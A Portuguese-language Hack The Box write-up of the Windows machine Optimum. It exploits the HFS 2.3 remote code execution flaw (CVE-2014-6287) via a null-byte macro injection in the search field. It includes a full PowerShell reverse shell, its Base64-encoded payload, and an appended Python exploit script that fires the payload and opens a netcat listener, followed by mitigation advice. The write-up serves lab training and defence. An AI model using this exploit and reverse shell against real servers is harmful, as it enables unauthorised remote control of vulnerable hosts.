0xEtern4lW0lf
Hack The BoxEasyWindows

Optinum

7 min de leitura
#HFS#CVE-2014-6287#RCE#PowerShell Reverse Shell#WinPEAS

Introdução

https://app.hackthebox.com/machines/Optimum Optinum (também conhecida como Optimum) é uma máquina Windows de dificuldade Easy da plataforma Hack The Box, com o IP 10.10.10.8. Ao enumerar a porta 80, encontrei uma aplicação web HTTP File Server (HFS) na versão 2.3, vulnerável a execução remota de código (RCE). Explorando essa falha consegui uma shell como o usuário kostas, que já possui permissões administrativas na máquina, permitindo o comprometimento total do sistema sem necessidade de um exploit de escalonamento de privilégios adicional. O script de exploração automatizado que desenvolvi para essa máquina encontra-se na seção de Anexos deste relatório.

Escaneamento

Comecei com um scan de portas completo via nmap para identificar todos os serviços expostos, seguido de um scan de versão e scripts padrão nas portas encontradas:

ports=$(sudo nmap -p- -Pn --min-rate=1000 -T4 10.10.10.8 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && sudo nmap -sC -sV -p $ports 10.10.10.8

O resultado apontou a porta 80 (HTTP) aberta, que se tornou o foco da enumeração seguinte.

Enumeração

Porta 80 (HTTP)

Ao acessar a porta 80, encontrei uma aplicação web rodando o Http File Server (HFS) versão 2.3, da Rejetto. Pesquisando sobre essa versão do HFS, identifiquei que ela é vulnerável a uma falha de execução remota de código através do campo de busca (“search”) da aplicação. A vulnerabilidade é catalogada como CVE-2014-6287. Referência: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6287

Exploração

O serviço vulnerável e a CVE

Aplicação vulnerável: Http File Server (HFS) 2.3.x, da Rejetto. CVE: CVE-2014-6287 (Execução Remota de Código). A falha existe devido a uma implementação de regex mal feita no arquivo ParserLib.pas do HFS. Esse parser não trata corretamente um byte nulo (%00) dentro da requisição. Uma requisição no formato:

http://localhost:80/search=%00{.exec|cmd.}

faz com que o parser de regex pare de interpretar a string antes do byte nulo, mas o interpretador de macros do HFS continua processando o restante da string após o %00. Isso permite que a macro {.exec|COMANDO.} seja executada no contexto do servidor, resultando em execução remota de comandos. Referência: https://packetstormsecurity.com/files/128243/HttpFileServer-2.3.x-Remote-Command-Execution.html Existem exploits públicos prontos para essa CVE, mas optei por explorar a falha manualmente através do campo search da aplicação, para entender melhor o funcionamento da vulnerabilidade.

Prova de conceito (POC)

Usei o Burp Suite para ter controle total sobre a requisição e o encoding do payload. Payload URL encoded enviado no parâmetro search: O servidor respondeu confirmando a execução do comando de teste. A vulnerabilidade estava confirmada, então segui para obter uma shell interativa.

Obtendo a shell

Primeiro, preparei um comando reverse shell em PowerShell e o codifiquei em Base64 (formato exigido pelo parâmetro -EncodedCommand do PowerShell):

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.4",443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()

Em seguida, inseri esse comando codificado dentro do payload de exploração da CVE, que também foi URL encoded antes do envio:

exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand "JGNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuNCIsNDQzKTsgJHN0cmVhbSA9ICRjbGllbnQuR2V0U3RyZWFtKCk7IFtieXRlW11dJGJ5dGVzID0gMC4uNjU1MzV8JXt7MH19OyB3aGlsZSgoJGkgPSAkc3RyZWFtLlJlYWQoJGJ5dGVzLDAsJGJ5dGVzLkxlbmd0aCkpIC1uZSAwKXt7OyAkZGF0YSA9IChOZXctT2JqZWN0IC1UeXBlTmFtZSBTeXN0ZW0uVGV4dC5BU0NJSUVuY29kaW5nKS5HZXRTdHJpbmcoJGJ5dGVzLDAsJGkpOyAkc2VuZGJhY2sgPSAoSW52b2tlLUV4cHJlc3Npb24gJGRhdGEgMj4mMSB8IE91dC1TdHJpbmcgKTsgJHNlbmRiYWNrMiA9ICRzZW5kYmFjayArICJQUyAiICsgKEdldC1Mb2NhdGlvbikuUGF0aCArICI+ICI7ICRzZW5kYnl0ZSA9IChbdGV4dC5lbmNvZGluZ106OkFTQ0lJKS5HZXRCeXRlcygkc2VuZGJhY2syKTsgJHN0cmVhbS5Xcml0ZSgkc2VuZGJ5dGUsMCwkc2VuZGJ5dGUuTGVuZ3RoKTsgJHN0cmVhbS5GbHVzaCgpfX07ICRjbGllbnQuQ2xvc2UoKQo="

Ao enviar a requisição com esse payload no campo search, recebi a conexão reversa no listener, obtendo uma shell PowerShell interativa como o usuário kostas.

Pós-exploração

Enumeração com WinPEAS

Com acesso à máquina, subi o WinPEAS para automatizar a enumeração local em busca de vetores de escalonamento de privilégios: O WinPEAS revelou que o usuário kostas — já obtido com o RCE do HFS — possui acesso total (full control) à pasta do usuário Administrator. Isso significa que a exploração da vulnerabilidade do HFS foi suficiente para comprometer totalmente a máquina, sem necessidade de um exploit de escalonamento de privilégios adicional: com esse nível de permissão foi possível ler os arquivos da pasta do Administrator, incluindo a flag, e obter controle administrativo completo do host.

Anexos

Script de automação (optimum-getshell.py)

Para automatizar a exploração dessa máquina, desenvolvi o seguinte script em Python, que gera o payload, codifica a reverse shell em PowerShell e dispara a requisição contra o campo search vulnerável do HFS:

#! /usr/bin/env python3

## Title: Exploit HFS (HTTP File Server) 2.3.x - RCE
## Description: GetShell - Optimum - HTB
## CVE : CVE-2014-6287
## Author: 0xEtern4lW0lf
## Created: 20 Dez 2022
## Reference: https://www.rejetto.com/wiki/index.php/HFS:_scripting_commands

## ========= MODULES =========

import base64
import os
import urllib.request
import urllib.parse
import argparse
import sys

## ========= VARIABLE =========

#### COLORS ####
RED = "\033[1;91m"
YELLOW = "\033[1;93m"
BLUE = "\033[1;94m"
GREEN = "\033[1;92m"
END = "\033[1;m"

## ========= FUNCTION =========

## Banner
def banner():
  EwLogo = f"""

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠀⠀⠀⠀⠀⠀⣀⠠⠤⢤⣤⣶⣴⣦⣤⣤⣀⡀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⡞⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠛⠻⢿⣷⣄⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣄⠈⠉⠛⠿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⡯⣿⣷⡄⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠰⢾⣿⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢌⡻⢿⡆⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠝⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣷⡌⠿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠋⠀⣸⣧⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡄⠁
⠀⠀⠀⠀⠀⠀⠀⢀⣾⣏⣴⠟⢻⣿⠟⠛⠶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⢻⣿⡀
⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣴⠿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⢳⣜⣿⡇
⠀⠀⠀⠀⠀⣠⣾⣿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡇⢿⣿⡇
⠀⠀⢀⣤⣾⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠸⣿⠇
⢀⣴⣿⡿⠋⠀⠀⠀⠀⠀⣀⣤⣶⣶⣦⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⢸⣿⡄⡿⠀
⢺⣿⡏⠀⠀⠀⠀⢀⣤⣾⣿⠿⠛⠋⠙⠻⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡝⣦⠀⣸⣿⡧⠃⠀
⠀⠈⠉⠀⢠⣤⣶⣿⡿⠋⠀⠀⠀⠀⠀⡀⠈⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇⣿⣷⣿⣿⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠉⠉⠁⠀⠀⠀⠀⢀⡜⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡆⠀⠀⣼⡇⣾⣿⣿⠇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⢻⣿⣀⣾⣿⢡⣿⡿⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣴⡿⢣⣿⣿⣿⣿⣣⡿⠋⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⡿⠀⠀⠀⠀⠀⣀⣠⣤⣴⣶⣿⠿⣋⣴⣿⣿⠿⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⡇⠀⢀⣠⣶⣿⣿⡿⠟⠋⠉⠐⠊⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣇⣴⣿⣿⡿⠟⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀{RED}#--------------------------------------------#
 _____  _                         ___  _  _    _  _____  _   __ 
|  ___|| |                       /   || || |  | ||  _  || | / _|
| |__  | |_   ___  _ __  _ __   / /| || || |  | || |/' || || |_ 
|  __| | __| / _ \| '__|| '_ \ / /_| || || |/\| ||  /| || ||  _|
| |___ | |_ |  __/| |   | | | |\___  || |\  /\  /\ |_/ /| || |  
\____/  \__| \___||_|   |_| |_|    |_/|_| \/  \/  \___/ |_||_|  
                                                                
#----------------------------------------------------------------# 
    
    Author: {GREEN}0xEtern4lW0lf{END}                           
    {RED}Site: {BLUE}https://0xetern4lw0lf.github.io/{END}

    FOR EDUCATIONAL PURPOSE ONLY.

  """
  return print(f'{BLUE}{EwLogo}{END}')

## Arguments
def parser():
    parser = argparse.ArgumentParser(description='GetShell - Optinum / HTB - 0xEtern4lW0lf', add_help=False)
    parser.add_argument('-h', '--help', help=helpme())
    parser.add_argument('--rhost', help="Target IP address or hostname.", type=str, required=True)
    parser.add_argument('--rport', help="Port of the target machine.", type=int, required=True)
    parser.add_argument('--lhost', help="Local IP address or hostname.", type=str, required=True)
    parser.add_argument('--lport', help="Local Port to receive the shell.", type=int, required=True)

    args = parser.parse_args()

    global rhost 
    global rport 
    global lhost 
    global lport 

    rhost = args.rhost
    rport = args.rport
    lhost = args.lhost
    lport = args.lport

def helpme():
  print(f'[!] {YELLOW}Usage: {END}')
  print(f'[-] python3 {sys.argv[0]} --rhost {GREEN}TARGET_IP{END} --rport {GREEN}TARGET_PORT{END} --lhost {GREEN}YOUR_IP{END} --lport {GREEN}YOUR_PORT{END}')
  print(f'[-] {YELLOW}Note*{END} If you are using a hostname instead of an IP address please remove http:// or https:// and try again.')

def weaponization(lhost,lport):
    # Define the command to be written to a file
    reverse_shell = f'$client = New-Object System.Net.Sockets.TCPClient("{lhost}",{lport}); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{{0}}; while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){{; $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i); $sendback = (Invoke-Expression $data 2>&1 | Out-String ); $sendback2 = $sendback + "PS " + (Get-Location).Path + "> "; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush()}}; $client.Close()'

    # Encode the command in base64 format
    reverse_shell_encode = base64.b64encode(reverse_shell.encode("utf-16le")).decode()
    print("\n[+] Encoding the payload...")

    # Define the payload to be included in the URL
    global payload
    payload = f'exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {reverse_shell_encode}'

def atkTarget(rhost,rport,lhost,lport):
    
    # Encode the payload and send a HTTP GET request
    payload_encode = urllib.parse.quote_plus(payload)
    
    url = f'http://{rhost}:{rport}/?search=%00{{.{payload_encode}.}}'
    urllib.request.urlopen(url)
    print("\n[+] Sending encoded payload via GET request to target")

    # Print some information
    print("\n[+] Setting information")
    print("[+] lhost: ", lhost)
    print("[+] lport: ", lport)
    print("[+] rhost:exec|powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -WindowStyle Hidden -EncodedCommand {reverse_shell_encode} ", rhost)
    print("[+] rport: ", rport)
    print("[+] payload: ", payload)

    # Listen for connections
    print(f"\n[+] Listening for connection in port {lport}")
    os.system(f'nc -nlvp {lport}')

def main():
  banner()
  weaponization(lhost,lport)
  atkTarget(rhost,rport,lhost,lport)

## ======= EXECUTION =======

if __name__ == "__main__":
    parser()
    main()

Mais scripts em: https://github.com/0xEtern4lW0lf

Mitigação

  • Substituir o HFS (Rejetto HTTP File Server) por uma solução mantida ativamente. O projeto está abandonado e não recebe correções de segurança; toda a linha 2.3.x é vulnerável à CVE-2014-6287.
  • Nunca expor o HFS (ou qualquer file server legado) diretamente na internet. Se o uso for indispensável, restringir o acesso por VPN, firewall e lista de IPs permitidos.
  • Aplicar o princípio do menor privilégio nas contas de usuário. O usuário kostas não deveria ter controle total sobre a pasta do Administrator; permissões NTFS excessivas devem ser revisadas e corrigidas.
  • Manter o sistema operacional Windows atualizado, com todos os patches de segurança aplicados, reduzindo a superfície de ataque para escalonamento de privilégios local.
  • Monitorar e registrar logs de acesso e execução de processos (ex.: Sysmon, EDR) para detectar comportamentos anômalos, como a execução de powershell.exe com -EncodedCommand a partir de um processo de servidor web.
  • Realizar varreduras periódicas de vulnerabilidades nos serviços expostos, garantindo que aplicações desatualizadas sejam identificadas e removidas ou substituídas.